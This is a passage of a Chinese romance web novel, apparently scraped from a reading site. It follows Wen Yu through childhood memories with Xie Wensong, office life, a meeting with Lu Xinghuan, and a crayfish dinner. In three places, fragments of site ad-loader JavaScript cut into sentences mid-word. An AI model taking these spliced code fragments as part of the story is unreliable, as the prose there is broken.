温遇挺平静把心里的话阐述出来,像在诉说和自己并不相关的故事:“后来发现,人生的终极目标还是得让自己有念头可以过得下去。” 将桃汁倒进冰杯,温遇声音很轻:“我现在挺好的。” “而且不是你的告诉我的吗?” 温遇笑着,目光凝结于漂浮的冰块,指尖碰了碰杯沿:“公主就算不发光,也会有人喜欢她。” - 温遇前脚刚到家,后脚外面又开始下起雨来,身上的衣服已经被汗黏透,她脱下来扔进脏衣篮里,火速钻进浴室。 包着浴帽走出来之后才发现谢闻颂给她发的消息。 Song_:感冒药和红糖姜放在老地方了,记得拿。 老地方。 温遇从脑海里调取记忆,走到门口,右手拧开门把,左手往门后一摸,果然摸到一个塑料袋。 她把红糖姜茶包用养生电煮壶熬开,倒了一杯放在桌子上,温遇嫌烫搁在一边,拿起还没拆封的杂志。 不同于Mentha,这是另一本国内的老牌时尚杂志。 封面是平面模特出道,前段时间提名某项电影节最佳女配的演员季霖菲。 温遇休息的时候有追剧爱好,因此对她有些印象。 人缘在娱乐圈不错,演技在线,演过几部剧的口碑都挺有质量。 她没急着拆开包装,视线一挪注意到已经转温的红糖姜茶,抿了一口。 思绪放空,温遇望向折射碎光的玻璃杯,想到了今天在便利店里自己说的话。 还是很久以前,谢闻颂告诉她的。 / 小学那会儿,她挺沉迷买杂志,那个时候班里都流行来回传着漫画看,温遇他们班也不例外。 和温遇邻列,坐在她后一排的小男生包里常有两样东西。 一本可以和字典厚度媲美的桂宝,还有一颗并不算很干净的篮球。 小男生的桂宝很全,三四天就换一本带到学校来,在看到其他同学借走又归还以后,温遇犹豫着也朝他借。 对方头都没抬,直接让她拿走。 几个课间连着看,温遇也觉得这书挺有意思,但防止上课看被老师没收,思量再三,她还是决定自己买一本放在家里看。 她下课后拉着谢闻颂,一路叽叽喳喳到报亭,结果温遇发现这本竟然需要四十块巨款,瞬间整个人蔫下来,堪比打霜的茄子。 脚底火星子还没熄灭的谢闻颂眼看着温遇又要把自己拉走,回攥住她的手腕,问道:“真喜欢?” 小姑娘坚定摇头,一脸清醒:“真喜欢也不要了,我可以借同学的看。” 见温遇也是真的不想要,谢闻颂也没再说什么,两个人一起回家。 没想到作业写到一半,温遇溜出来再次回到那个报亭,竟是拿着拼拼凑凑的二十块买了一本时尚杂志。 封面是当时一位热度不低的小花,温遇刚才找桂宝的时候无意间瞥到,感觉这位姐姐漂亮得好像仙女。 她有点颜控,所以回家犹豫再三最后,还是决定再回来一趟。 把漂亮杂志抱回家的后果就是,因为耽误时间,当天作业又要写不完,不过熟稔如温遇,只慌张三秒就找到对策,自动背着书包往隔壁跑。 谢闻颂正埋头做自己事呢,旁边冷不丁挤进来一个小脑袋。 某人美名其曰来找他一起写作业,眼神却一直往他的练习册上瞄。 当谢闻颂第一百零一次把自己的作业本挡起来时,温遇头朝下,栽倒在书桌上比霜打的茄子还颓靡。 “人生,易如断掌。” “……” 谢闻颂把写完的作业整理好放在一边,对旁边温遇的话假装没听见,看了眼手表:“现在是晚上八点半,距离我的睡觉时间还有一个半小时。” “够我抄,啊呸呸呸。”温遇立刻抬起头,感觉话头不对马上纠正措辞,“够我借鉴的。” “……” 谢闻颂托腮,面无表情道:“我的意思是,我可以给你补习到十点。” 见抄不成作业,小姑娘重新伏在桌面上,然后自顾自给自己打气,重新坐在书桌前,将台灯挨在练习册旁边,继续自己完成。 不气不恼,得到拒绝后也不会一直缠人。 有时候古灵精怪。 有时候也乖到没边。 谢闻颂去冰箱里拿来块芝士小蛋糕,回来见她还乖乖坐在那写,将印花瓷盘放在她旁边,“奖励你的。” 小姑娘眼神落在芝士蛋糕完美的切面上,手指松下笔又重新拿起,抿着小嘴咽了口口水,“我写完作业再吃。” 谢闻颂忍俊不禁,手指圈住温遇松散下来的小辫子:“嗯,等你写完。” 可能是芝士蛋糕的诱惑太大,温遇卯着劲将全部注意力放在眼前的作业上,只用了不到一个小时就写完了剩下的部分。 年纪小的孩子,烦恼来得快,去得也快。 作业本按顺序码在旁边,鱼鱼同学如愿用银叉切下芝士蛋糕的一个角,从书包里拿出后来去买的杂志,炫耀给旁边的人看。 “封面漂亮吧。” 谢闻颂只扫了一眼封面,视线重新对准她:“不买你想看的那本漫画了?” “那本我可以借同学的。”温遇将拿杂志的手重新缩回来,规规矩矩放在膝盖上,手指轻轻抚摸滑面,珍爱得不行。 看了封面上的人几秒,小姑娘抬头:“谢闻颂,你说我以后会和杂志封面上的姐姐一样好看吗?我也想成为这样的人。” 少年看向她,眸光温和:“虽然每个人的花期不一样,但你会有你的漂亮。” 谢闻颂见她一脸认真,也很好奇她的想法,“为什么想成为和她一样的人。” “你不觉得很酷吗?”温遇把杂志举到眼前挡住脸,然后缓缓下移,露出一双正笑着的眼睛,“像她一样出现在封面上,这样就会被更多的人喜欢。” 没太猜到温遇竟然是这样的想法,谢闻颂单手架在椅背上,像是第一天认识眼前的人。 小姑娘挺有韧性,也挺有想法。 精致的银色小叉子搁在瓷盘边,边缘烧了一圈金,温遇把杂志盖在作业本上面,像小猫一样舔着银叉上面的奶油。 吃完蛋糕,温遇窝在他的懒人沙发里一页一页兴致勃勃翻着杂志,谢闻颂往后瞄了眼,背过身从桌子底下的抽屉拿出一张空白小卡片,手握着笔往上写字。 少年削瘦背脊被灯光笼罩在一方桌面,边缘柔和模糊,像光影拓上去不小心留下的痕迹。 快到十点,他帮温遇收拾书包,手里掌心大的卡片夹在杂志里。 小小卡片被发现不容易,温遇连着几天忙着学习没怎么有时间看杂志。 再翻开的时候已经又一个周末。 白色卡片,黑色笔迹,温遇捏着边缘,愣了很久。 【公主就算不发光,也会有人喜欢你。】 谁会不喜欢一个披着光的小太阳公主呢? / 一句话,对于年龄尚小的温鱼鱼来说,莫过于是一种别样的鼓励。 一颗外表虽然看不出什么名堂的种子,在时间沃土的滋养下,逐渐凝成了金灿灿的果实。 温鱼鱼想,“也会有人”的里面,就算真的没有别人,也一定要有自己。 她会做自己的恒星。 一定。 - 周一的办公区总是一片死寂沉沉,可谓是没有一点人气,中午吃过饭后,算是每天固定的一个放松时间。 今天中午食堂没有几样 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 林檬爱吃的菜,加之她还陷在周末没缓过来,一回到工位上就从抽屉里拿出眼罩,上半身往后一仰,一副与世隔绝的模样。 临组的余源边扒橘子边往她们这边走,分享刚过去的周末,孩子学校组织秋季运动会上发生的事:“其中有个项目‘春种秋收’要我和我老公一起参与,结果孩子他爸自从结婚后都没咋运动过,天天在工位上一坐坐一天,这次活动还把腰闪了,今天班都没去上。” 旁边有同事搭腔,温遇坐在自己的位置上安静听。 余源叹了口气:“这次他腰养好了我就给他办健身卡,正好趁着夏季最后的促销,天天下班没事就去操练操练。” 林檬把眼罩撩到头顶,露出一抹幸灾乐祸的笑:“你也是没让你家老汪活。” “没睡啊你。”余源被突然冒出来的声音吓了一跳,直摇头:“没办法,岁月是把杀猪刀,我能做的不过是让这刀再钝一点。” 办公区被笑声充斥,林檬忽地将眼罩从头上扯下来,望向玻璃外的刺眼阳光,嘴角直接耷拉下来:“怎么今天还是这么热。” “这才七月末,距离夏天结束还早嘞。”余源咽下最后一瓣酸橘子,想到什么眼前一亮,“这个周末去不去游泳?游完顺便去搓个澡,我有卡,八折。” “我都行。”林檬cue了下旁边一直安静如鸡的温遇,“温宝去不去?” 相处半个月,温遇已经从林檬眼里的称职社畜转变为随时都能上去贴贴的亲亲妹妹,自己有啥好东西都想分给她,超市买饮料赠送的塑料盘她都得掰一半给温遇,是一位完全没有架子的前辈。 温遇自然感觉得到,闻言点点头:“好啊,周末我也有空。” 三个人达成一致,余源行动力超强地拉了个群,午休时间快到,她道别之后回了自己的工位。 温遇瞄了眼电脑右下角的时间,点开浏览器习惯性看时尚圈的最新简讯,检索条下面赫然挂着眼熟的人名。 鬼使神差点进第一个词条。 【陆忠怀病重,陆家长孙携女友探望。】 配了几张完全看不清人脸的图,温遇刷新一下,网页直接无法访问。 把窗口叉掉,温遇心情瞬间变得五味杂陈。 刚才图片上的身影和陆星桓八分像,女生则是鸭舌帽口罩全副武装,更看不出来是谁。 其实从发现自己对陆星桓有点心思之后,温遇有很长一段时间都在和自己较劲,研究这到底是不是喜欢。 直到现在也没研究明白,所以心里揣着没法告人的秘密,每次遇见他的时候都很紧张。 一向清醒通透可以在朋友之间称为哲学家的她,唯独对这件事愚钝、困惑其中不自拔。 所以她从没有刻意打听过陆星桓的事,只是偶然听朋友口中听到这个名字,知道他毕业、出国、回国、然后捕风捉影猜测他是不是在感情上有了新发展。 她像一个困惑着不知道该往哪走的守望者,所以在没有彻底梳理好心绪之前,温遇只能选择站在原地不动。 站在原地的结果就是,雨天不避,被自己的情绪淋湿了个彻底。 她也稀里糊涂过了好几年。 林檬在隔座喊她第三遍时,温遇才听见,扭头。 “喝奶茶吗温宝。” 温遇摇头,不知道脸上表情是什么样,她撑起笑容。 不把负面情绪带到另外的地方,也是她很早就学会的本领。 临下班时,玻璃窗上划开雨线,温遇站在落地玻璃前一个人呆了会儿,窗户没闭紧的缝隙漏进来潮湿粘腻的风。 仿佛能把呼吸一圈圈缠绕,然后收紧,逼近窒息。 将窗户闭严,温遇弯腰从抽屉里拿出两套塑料雨衣,把其中一套放在林檬工位上。 后者上厕所回来,随手把湿掉的纸团扔进垃圾桶,看见桌面上醒目的雨衣。 撕掉上面贴着的便利贴,林檬目光移向旁边已经把椅子推进去的工位上。 电动车停在楼下的车棚里,温遇披着雨衣下楼,钥匙对准孔推进去,旋转一拧。 系好头盔绑带,温遇熟稔坐上车,滑进马路车流。 很小的时候,她胆小怕黑怕打雷,但面对大人的质疑,总是嘴硬说自己什么都不怕。 成为披坚执锐的战士是要付出代价的。 公主在成为公主以前,先要成为可以战胜自己的战士。 18.鱼鱼 18/ 温遇到家之后看见林檬给她发的消息。 对方感谢她的那套塑料雨衣,连发了好几个亲亲的表情。 温遇回复之后,走到盥洗台对着镜子卸耳钉。 洗完澡出来发现手机被消息轰炸,温遇解锁一看,基本都是林檬call她的消息。 她话里提到了几句大群,温遇退出私聊进入工作群,发现明天安排了她和林檬去印厂盯进度。 印厂位于郊区,温遇搜了下位置,如果坐公交车要两个小时。 她第一次去不太懂,林檬说她们可以打车,回头社里能给报销,约定明天在哪见面之后,温遇才退出聊天界面。 在主屏幕的两个游戏之间稍作犹豫,她最后还是狠心抛弃开心消消乐。 熟练上号领完每日签到奖励,温遇看任务还没做,开了几把游戏。 今天运气不太好,一共野排了四把,其中两把都有挂机队友,同组其他人在公屏上就开骂,结果不出意外掉了分,温遇退出游戏收到好友申请,点开看是刚才一起匹配的队友。 她点通过,对方问她认不认识同组那个挂机的人,温遇回了句不认识,便去做别的任务。 她玩的所有游戏都没有加三次好友,游戏社交也基本为零,遇到这种挂机的情况也有几次,她情绪出奇地稳定,甚至扣了大分还能安慰同组崩溃的队友。 好友列表有几位都是这么加上她的。 之前有位给女朋友上分的大哥手滑点野排,见温遇玩得不错加了个好友,问她能不能帮代打,想给女朋友上上分,只不过自己技术不够。 温遇那天刚好没事,答应下来。 她玩游戏纯属休闲娱乐,运气不好的时候也会碰见匹配低段位队友扣分的情况,只是她没怎么走心,完全打着开心为主。 这方面她随心所欲得厉害。 正切横屏正做着任务,顶端弹出微信消息。 陆星桓:明天有空吗?见一面给你送邀请函。 温遇退出游戏,正想该如何回复。 陆星桓:原本想给以灏的,结果给忘了。 回过好之后,温遇将游戏从后台删除,今天下午检索栏下面的词条还停留在她的脑海里。 心情顿时像被打翻的调味盘,五味杂陈。 她也是花费了很多的时间,才成长成如今的模样。 强行驱赶心里的杂念,温遇关掉台灯,埋进被窝,小熊战士仍称职守在床头,陪她度过这个平常又复杂的夜晚。 …… 一夜无梦,温遇第二天自然醒的时候比闹钟定的时间还要早。 火速收拾了东西,她用三明治机做了两份早饭,坐公交到金融街的Meet咖啡书屋和林檬回合。 温遇下车刚要给她发消息,就看见林檬从店里走出来,手里提着两个纸袋。 两个人同时看向对方手里的三明治和咖啡,没忍住笑出声。 早晨逆着高峰往郊区走算不得堵车,两个人在车上解决早饭,还有点时间,林檬掏出眼罩一盖打算眯会。 温遇则是拿出手机回陆星桓的消息。 对方问她今晚在哪里见,她把Meet咖啡书屋的定位转给陆星桓,问他方不方便。 对方秒回一句方便。 结束对话,温遇视线飘向车窗外。 今天天气不错,浅蓝色铺底,云团压得很低,仿佛触手可及。 只是天气实在燥热,她也没什么时间和心情欣赏天空。 到印厂之后,温遇和林檬火速投入校对工作,整体工作量不小,不过林檬作为行业老人,摸鱼的技术随着工作年头也同步上升,这不休息得空的时候,就给她看闲聊群里的八卦。 当初她也想拉温遇进群的,奈何这小姑娘对八卦闲聊完全不感兴趣,在这方面一点不关心,完全不符合她对这个年纪的固有印象。 见温遇不感兴趣,林檬倒也作罢,等遇见好玩的事儿再和她分享。 这不今天,闲聊群里发了张图片,发图片的人还在底下故弄玄虚:下个月的名人专栏,猜猜是谁。 图片经过模糊化处理,只能看见站在背景墙前应该是个仪态很不错的男人。 明显的宽肩窄腰大长腿,帅哥标配。 图片刚一发,引起群内讨论。 以往占掉杂志的专栏位都是一些在业内有一定口碑和成就的前辈,不过这次略有不同,这图片明显是个年轻人,而且能被邀请上杂志的,颜值气质都不会差。 温遇往下翻,评论已经积攒很多条。 【我靠,这谁啊。】 【最近几刊难得有个新面孔,我劝你们摄影组赶紧多放点花絮。@摄影组】 【吊完胃口不给喂饭,反手一个账号举报不用谢。】 【之前采访组透露过点风声,是不是谢字开头那位。(狗头)】 【上面那个,哪个谢?不会是那个谢吧。】 【不是?我怎么越听越不懂了?到底谁啊?】 温遇看到这,再联想刚才模糊剪影的熟悉感,基本已经猜到这人是谁了。 前几天图片本人还说能在杂志上看见他。 她当时还噎了对面一句。 若有所思把手机还回去,温遇眼前还是刚才照片上的画面。 林檬拿回手机,也开始加入群里热火朝天的讨论,温遇则挪回视线,假装不在意,只是不知道为什么有点心虚。 有种看见熟人耍帅的尴尬感。 身边有大佬,也是有压力的。 中午两人点的外卖,温遇刚把外卖盒揭开一个角,眼前竖过来手机屏幕。 图片超清,不出意外是她最熟悉的那张脸,西装西裤,正经得让她都有点不太敢认。 毕竟近一个月以来,这人要么是休闲装,要么是一身睡衣出现在她眼前。 怪不得不敢认,这也不能怪她吧。 真熟人,假正经。 温遇忍下想笑的冲动。 “采访组有福啦。”林檬朝她眨眨眼:“好不容易要到的照片,怎么样?” “这位叠满一身buff,现在群里拉出条评论都是不能过审的程度,不过谁不知道小少爷可是高岭之花,看看得了,饱饱眼福也不错。” 听到这,温遇开始回忆林檬刚才问她的那个问题是什么。 记忆抓取,温遇尽量不让她看出异常,选择少言又不失礼貌的评价:“还行。” 林檬啧了声收回手机,边拆外卖袋边和她说:“这叫还行?” 温遇低头,继续胡诌:“毕竟这种再帅也只能欣赏欣赏,也摸不到,性价比不合适。” 林檬想了想,好像的确是这么回事,目光挪到对面正拆筷子的小姑娘身上,感慨她虽然年纪小,但活得通透呀。 小小年纪就清心寡欲,不被美色/诱惑,一本正经认真工作搞钱。 仿佛什么事都不能干扰到她。 林檬眼珠一转,往温遇那边凑了凑,笑得有些深意:“那改天姐姐带你去能摸到的地方。” 下面的话题有点少儿不宜。 温遇看了看周围,确定附近应该没有第三个人听见,这才含糊点了下头。 下午的校对工作比上午还忙,温遇和林檬打上车的时候已经快晚上六点。 林檬后背往后一仰,连和她八卦的力气都没有,全身只有手指动着刷起短视频,温遇比她好点,还有精力算时间大概几点能到咖啡书屋。 车开进隧道,像旅人陡然步入穿梭时光的机器,黄色点状的灯火悬挂于目,温遇恍惚一瞬,以为那是森间萤火。 收回目光,窗外斑驳碎光落在身上,像天上星星遗留下的残骸。 手机上挂着电子地图,温遇揉了下眼睛,在车开到金融街附近让司机停车。 林檬扭过头:“温宝,在这就下?” 温遇之前没和她说,此刻解释道:“嗯,和朋友在附近约了。” 见此,林檬朝她摆摆手,嘱咐了句:“早点回家,明天见。” “明天见檬檬姐。” 温遇看向手机,陆星桓说自己的车就停在咖啡书屋附近,她脚上步伐加快,快走到的时候看见停在路边上的保时捷。 她上前在窗户上敲了下,驾驶室的人降下车窗,藏在暗影里的轮廓一贯沉稳冷峻,温遇心头重重跳一下,陆星桓这时偏过脸,她这才看见旁边刚碾灭的烟头。 “吃饭了没。” 快要被淹没的嘈杂里,温遇捕捉到这句话。 她摇头:“没有,我回家吃。” 陆星桓在手机屏幕上找导航:“你家在哪,送你回去。” 温遇刚想说不用,陆星桓手机显示来电界面,他接通的同时,她往后自动退了两步。 “嗯。” 陆星桓笑了声,温遇听见往他这边看了眼,又挪开视线,假装踢脚边的石子。 “知道了,我一会过去。” 电话挂断,陆星桓略带抱歉看向温遇:“我有点事,可能要先走,帮你叫个车?” “不用了星桓哥,我住的地方离这不远。” 陆星桓看着她,灯光昏昧下,小姑娘刘海被风吹开几分,双颧的苹果肌带了点粉,说话的时候目光看着他,说完又垂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下眼,仿佛在听训话。 他有这么吓人吗? 陆星桓开玩笑一句:“你怕我?” 温遇没想到他这么问,低着的头顿时抬起,脱口而出:“没有。” 她似乎还想说点什么肯定自己刚才的话,陆星桓却是没再问,转过身从储物盒里拿出封邀请函,从窗户口递给温遇:“下下周六,派悦酒店。” 十分精致的烫金字样紫色信封,温遇手指攥紧嗯了声。 车身融入黑夜,温遇将邀请函放在挎包最里侧的加层,在想自己是走回家还是打车。 咖啡书屋坐落在商业街的黄金地段,周围商铺在这个点正是热闹时候,海鲜混着烧烤鲜香热辣的味道直往温遇鼻子里钻。 于是她纠结的问题不再是怎么回家。 而是要不要吃一顿饭再回家。 站在原地正纠结着,电话铃一响给温遇吓一激灵。 来电显示人名—— 【谢闻颂】 温遇接听:“喂?” 对面声音嘈杂,只一瞬间便被男人的声音盖住,变成背景白噪音。 “吃饭了没。” 温遇疑惑地重新确认了遍屏幕上显示的人名:“你喝醉了?” “……” 对面叹了口气,幽幽道:“我看见你了。” 一句话给温遇吓不轻,她左顾右盼,探头探脑,试图在往来穿行的人潮里搜索某人的身影。 “看见你前面卖甜水的铺子了么。”谢闻颂在听筒里给她引路,“往前走超过它,进去后面的小龙虾店。” 温遇照做,踏进店里的时候服务生都在忙碌,花椒麻椒辣椒的味道直冲天灵盖,她视线快速扫过店里,最后聚集在里面靠玻璃坐着的人身上。 那人明显看见她,手机贴在耳边,这么热的天,这人愣是把黑色外套的拉链拉到最上面,配一顶黑色鸭舌帽,想让人看不见都难。 谢闻颂知道她也看见自己,嘴唇微动,手机里的声音同频传声。 “这次看见了没。” 语音尾调像钩子,吊着上扬。 温遇挂掉电话走过去,顺手将斜挎包摘下来放在旁边的椅子上,近距离观察这人冷白的脸上一滴汗也没有,还套了个大长袖,没忍住评价:“你不热?” 谢闻颂往上抬了抬下巴,示意她往头顶看。 温遇抬头,空调冷风正自上而下对着谢闻颂吹。 “你坐我这,都得裹个棉袄。” “……” 她盯着眼前人的头发,看能不能吹出霜。 “你怎么在这?”温遇从纸盒里抽了几张纸擦自己这边的桌子,余光瞥见木桌上还有两瓶冰镇啤酒,边擦边问。 “那你得问问林思睿为什么放我鸽子。” “……” 觉得这事讲起来应该挺长,温遇决定换一个话题:“那你吃饭了吗?” 谢闻颂单手撑着下巴,目光明显捎上笑意,逗她:“那你得问问林思睿什么时候放的鸽子。” “……” 温遇有种掉入陷阱的错觉,眨眨眼:“什么时候?” “十分钟以前。” 话刚说完,店员阿姨端上来两盘小龙虾,香味扑鼻,温遇凑近嗅了嗅,谢闻颂把她这小猫样看在眼里,递了两只塑料手套过去。 谢闻颂没着急吃,往玻璃杯倒了半杯啤酒。 温遇默不作声往酒那瞟,谢闻颂看见啧了声:“你还是别喝了,耍酒疯怪害怕的。” “……” 温遇一言难尽。 “我没想喝。” 过往不太美好的记忆重现脑海,不想重翻旧账,温遇扒开虾壳,视线转而落在谢闻颂的手机上。 堪称简朴素净的手机壳没有一点花纹,要说吸睛,还不如看下端绑着的塑料挂坠。 只不过这挂链质量实在不太过关,塑料星星被磨得掉色,hellokitty也磨掉了一只眼睛,褪色的塑料珠更不知道原本是什么颜色。 温遇看向手里的小龙虾,虽然这东西难以和眼前这人联系起来,还是决定拍个马屁。 “你这手机挂链挺好看的,看着挺眼熟。” 谢闻颂正往手上套手套,闻言勾唇:“是吗?” 秉持拍马屁就要拍到底的原则,温遇没犹豫点头:“嗯。” “你送的。” 轻飘飘三个字落地,温遇被嘴里辣油呛了一下:“什么?” 谢闻颂耐心重复,对她这反应忽然来了兴致,带着故意逗她的语气,试图重诉某一段过去。 “你送我的,不记得了?” 19.鱼鱼 19/ 高考结束,因为成人礼和家里憋着口气的温遇火速制定了自己的毕业旅行计划。 还有一个原因,毕业以后,林思睿也快去国外读书,这次旅行也算是三个人最后可以凑在一起的时间。 记忆里的夏天总是遥远但又很难忘。 温遇也是这样认为的。 彼时她和另外两个人正准备飞往国外,机场内,有大学生在做零工,距离上飞机还有段时间,温遇在附近免税店逛了一圈,回来的时候被女孩拦下。 帮忙填个问卷就送小礼物,反正也不着急,温遇就帮他们填了,女生从挎包里拿出一串塑料水晶挂坠递给她,感谢她的配合。 温遇套在手指上转圈,蹦蹦跶跶往休息区走,林思睿正和谢闻颂打游戏。 相比于后者的淡定,林思睿显得过于活跃。 温遇因为林思睿的一惊一乍,果断选择凑到谢闻颂旁边,蹲在座位旁边看这人手机上的操作。 游戏是她完全没接触过的,只能凭借主观意识生涩探索游戏的玩法。 虽然不太懂玩法,不过玩得好赖温遇还是能看得出来。 谢闻颂操作行云流水,屏幕上点击的指尖速度很快,奔跑的小人儿灵敏躲避各种伤害,任务进度过半血条几乎没有变化。 她就这么眼巴巴看着,然后屏幕上出现MVP结算字眼,配合朝他竖了个大拇指,完全没听见旁边林思睿的哀嚎。 “谢闻颂,我不和你两队了,下把咱俩组队。” 林思睿明显被上一把虐得不轻,投过来的眼神都有几分泄气。 谢闻颂嗯了声,手指从屏幕上移开,看向旁边还在蹲着的人,唇角噙起笑:“腿没麻?” “你可太小瞧我身体素质了。”温遇不服气,硬是没有缓冲直接站起,结果腿倒是没麻,直接改抽筋了。 于是她只能龇牙咧嘴单腿蹦着在谢闻颂旁边坐下,某人则是生怕她听不见一样,温遇刚路过,他直接扑哧笑出声。 笑也笑完,谢闻颂垂头看手机时还不忘调侃:“嗯,身体素质挺不错的。” “以前八百能跑前三,现在八米开外的公交车都懒得追。” “……”温遇懒得和他计较。 趁着下一局游戏还没开,温遇使坏把手心的挂坠搁在谢闻颂的小臂上,后者瞥了眼,眼神挪到她身上。 “送你了。” 温遇大发慈悲说完这句,也没再管谢闻颂脸上是什么表情,几天之后这茬直接忘干净。 她给这东西给得很随意,放在谢闻颂身上也属于自己刚在他那吃瘪,纯属坏心思作祟。 类似这样的事,她很少放在记忆里,更别提这挂坠—— 刚拿到手的时候是什么样她都已经记不清,现在磨损成这样,她更是认不出来。 如果没记错,她回国那天,谢闻颂就已经戴着这串挂坠了。 当时就觉得眼熟,根本没深想。 现在没想到自己随手扔给他的东西,能一直被保管到现在,发挥着微乎其微的作用。 现在挂坠褪色,原本那点唯一的装饰作用都丧失了。 嘴里咬虾肉的动作放慢,温遇艰难激烈做着心理斗争。 心中难言的情绪仿佛被磨粉机碾碎,散在四处,整理都无从开始。 温遇这人擅长检讨,在拿出套像样的说辞之前,嘴里的珍馐都仿佛丧失原本味道。 谢闻颂在她身边这么多年,怎么可能看不出眼前低眉顺眼的小姑娘心里想的是什么。 暗自腹诽怎么又自己和自己较真。 他原本也只是想逗逗她,于是宽慰:“前段时间从家里整理出来的,觉得手机缺个挂坠就绑上了。” “怎么。”谢闻颂见她扒虾速度慢下来,目光重新挪回自己手上,“愧疚了?” 他是最懂怎么让她情绪改变的。 果然,温遇立即别扭反驳道:“没有,就是觉得这么廉价的东西和你不太相配。” “哪儿廉价了?我怎么没看出来。”谢闻颂气定神闲,用没有沾染辣油的手套面碰了下温遇的手背。 “总感觉你得配个纯金或者纯钻的手机链,那才对。”温遇想起上午林檬对他的形容,憋出来一句,“符合你高岭之花的气质。” “……” 谢闻颂唇上发麻,冷不丁偏头笑了下,语气是明显的拒绝:“温鱼鱼你别往我头顶乱扣帽子。” “又不是我说的。”看见谢闻颂这次把沾着辣油的那面手套作势要往她手上弄,温遇急忙躲开,“你要找源头也别抓我。” “你也是这么觉得的?”谢闻颂等她的答案,要是她说是,那可太令自己失望了。 带着不知道哪儿来的一丝希冀,他才发现心头竟然一点点热起来。 明明之前坐在店里的时候,空调冷风吹得他想直接换家餐馆,可他刚走出店门,就看见站在不远处的温遇手里拿着邀请函,小心翼翼放进包里。 而前半分钟,一辆车从她旁边开走。 车牌号让他基本可以猜到车里坐着的是谁。 谢闻颂就那么站在店门口,看她放好邀请函之后站在原地,一副纠结的表情他大概就能猜个七七八八。 转身回到刚才的位置坐下,周围的喧嚣一点入不了耳,谢闻颂觉得,自己比刚才还冷。 掏出手机的时候,也不知道自己到底在想什么。 他只是知道自己又忍不住想给她发信息。 周围的嘈杂将心脏挤得没有一点缝隙,每当这股情绪漫上来的时候,谢闻颂都习惯性后悔。 后悔自己总是错过她最需要安慰的时候。 然后在想自己那份丢失的勇气到底是谁给捡走。 “没有。”温遇挺平静道,低头专注拔虾壳。 “嗯,没有就对了。” 莫名得意起来,谢闻颂却没表露在外面,心里的真实想法是,别人怎么认为都无所谓,只要她看见自己的本质就好。 总有些东西要暴露给别人看。 只是有些真实,是他守护在小小水晶球里,很珍贵的礼物。 那是不能给其他人看的秘密。 …… 秉持着要将负罪感驱散的原则,温遇提议他们一起走回蓝湾,二十分钟步行,就当消食。 这种小问题,谢闻颂一般都没意见,她说什么便是什么。 将桌上的垃圾分类放到铁盘中,谢闻颂顶着某人探究的目光,若无其事擦掉指腹蹭到的油渍,抬头:“走吧。” 温遇什么也没说,把挎包包带挂在肩上,两人前脚后脚出了店门。 夏夜晚风迎面扑在脸上,出奇的舒服。 天色已经完全黑透,但夜晚才刚开始,街上正是热闹时候。 金融区白天这一片来来往往基本都是上班族,好多摊贩只有晚上的时候才出来。 灯火如昼,每个人的脸上都仿佛沾染暖色灯光,或疲惫,或惊喜,都能撑起一点精神混进热闹里。 手机震动提示来电,温遇刚要接,谢闻颂指了个方向,对她说:“你在原地等我。” 模糊应答一句,手机贴在耳边,温遇的注意力却没在手机上,几米开外的糖水铺,谢闻颂站在那和老奶奶交流什么。 听筒里的声音唤回思绪,她这才发现是推销电话。 温遇挂掉之后索性直接把手机塞进包里,提着塑料袋的谢闻颂走过来找她回合。 并肩走在人头攒动的街头,总有一种内心极其平静的感觉,仿佛世界只剩下自己。 两个人都没说话,温遇猜他也和自己一样。 正数着第几辆白色的车从她旁边开过,她听见谢闻颂喊自己。 “温鱼鱼,伸下手。” 数车的工作暂停,温遇扭头,看见平摊在自己身旁的手。 宽瘦掌心被路灯染成昏黄颜色,伸出手的人眼里明显含着笑,温遇这时候还打算留个心眼:“干嘛。” 虽然是这么说着,手却是握成拳,拳眼朝上,放在他掌心上。 像在锤他的手心。 “不干嘛。”谢闻颂手腕反转,掌心握住她的腕骨,力道轻飘飘的,很容易挣扎开。 “抓一下,头有点晕。” 想起桌子上的两个空啤酒玻璃瓶,这人除了衣领沾了点酒味,这还是走在他旁边顺风被她闻到。 其他地方基本看不出醉态。 喊着头晕的某人脸都没红,基本和没喝酒的时候一样。 “看你这样,不像喝醉。” 温遇嘴上计较,手却没挣扎,只是把拳松开,谢闻颂瞅见,抿唇低头笑了下,“嗯。” “我在占便宜。” 刚觉得他挺诚实的温遇沉默一秒。 “做这种事,总觉得不太像你。” 谢闻颂平静应下,反驳都没反驳:“嗯,你就当我酒后第二人格出来了。” “……” 温 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 遇一脸惊悚。 老兄能别说的这么吓人吗? 温遇环顾四周,拼命给自己找安全感,一转头又看见某人在那想憋又憋不住笑,有种想给他一锤子的冲动。 这人的坏,有时候像硬糖一样化不开。 - 周末,温遇、林檬和余源三个人约了游泳。 在市游泳中心旁边的咖啡店会合,温遇早到了一会儿,从包里把笔记本电脑拿出来处理工作。 邻座有小孩在店里来回跑,家长坐在那打电话,也不太管。 店里人少,但是上午外卖单很多,店员基本忙碌在工作台。 温遇换了个偏角落的位置,刚坐下发现空调冷气喷薄在皮肤上,忽然理解了昨天的谢闻颂。 坐到对面,避开直吹的冷风,电脑登录微信,温遇手指在键盘上打字。 林檬和余源到的时间差不多,三个人凑齐直奔旁边的游泳馆。 刷码领取手环换好衣服,余源拉着她俩先去淋浴,稍微热身适应之后就可以去泳池了,水对温遇来说有点凉,她坐在池边,先把双腿搁在水里。 今天是周末,又是夏天,有不少人来游泳,余源是经常游泳的人,五十米的泳池来回游两趟基本没怎么消耗体力。 林檬跟着她游了五十米就不行了,果断回去找温遇。 见小姑娘还坐在泳池边,纤细的小腿带动在水面划开涟漪,林檬道:“温宝怎么不下水。” “水有点凉,我稍微适应一下再下去。”温遇刚说完就卡了个壳,这才反应过来自己已经在这坐了小十分钟。 手撑在台边,温遇正准备一点点沉到水里。 “诶!”林檬就在她旁边声音尖锐地喊了一声,温遇刚要抬头,后背猛然被人推了一把,她几乎没有防备,猝不及防掉进水里。 水花四溅,泳镜还挂在头顶没有拉下来,瞬间水从鼻子里钻进来,窒息的感觉立刻将她包裹。 短短几秒,却仿佛被镜头拉长到帧。 长到在水下的每一分一秒,都变得煎熬。 余源游回来见到这一幕,连忙和林檬把她从水里拉上来。 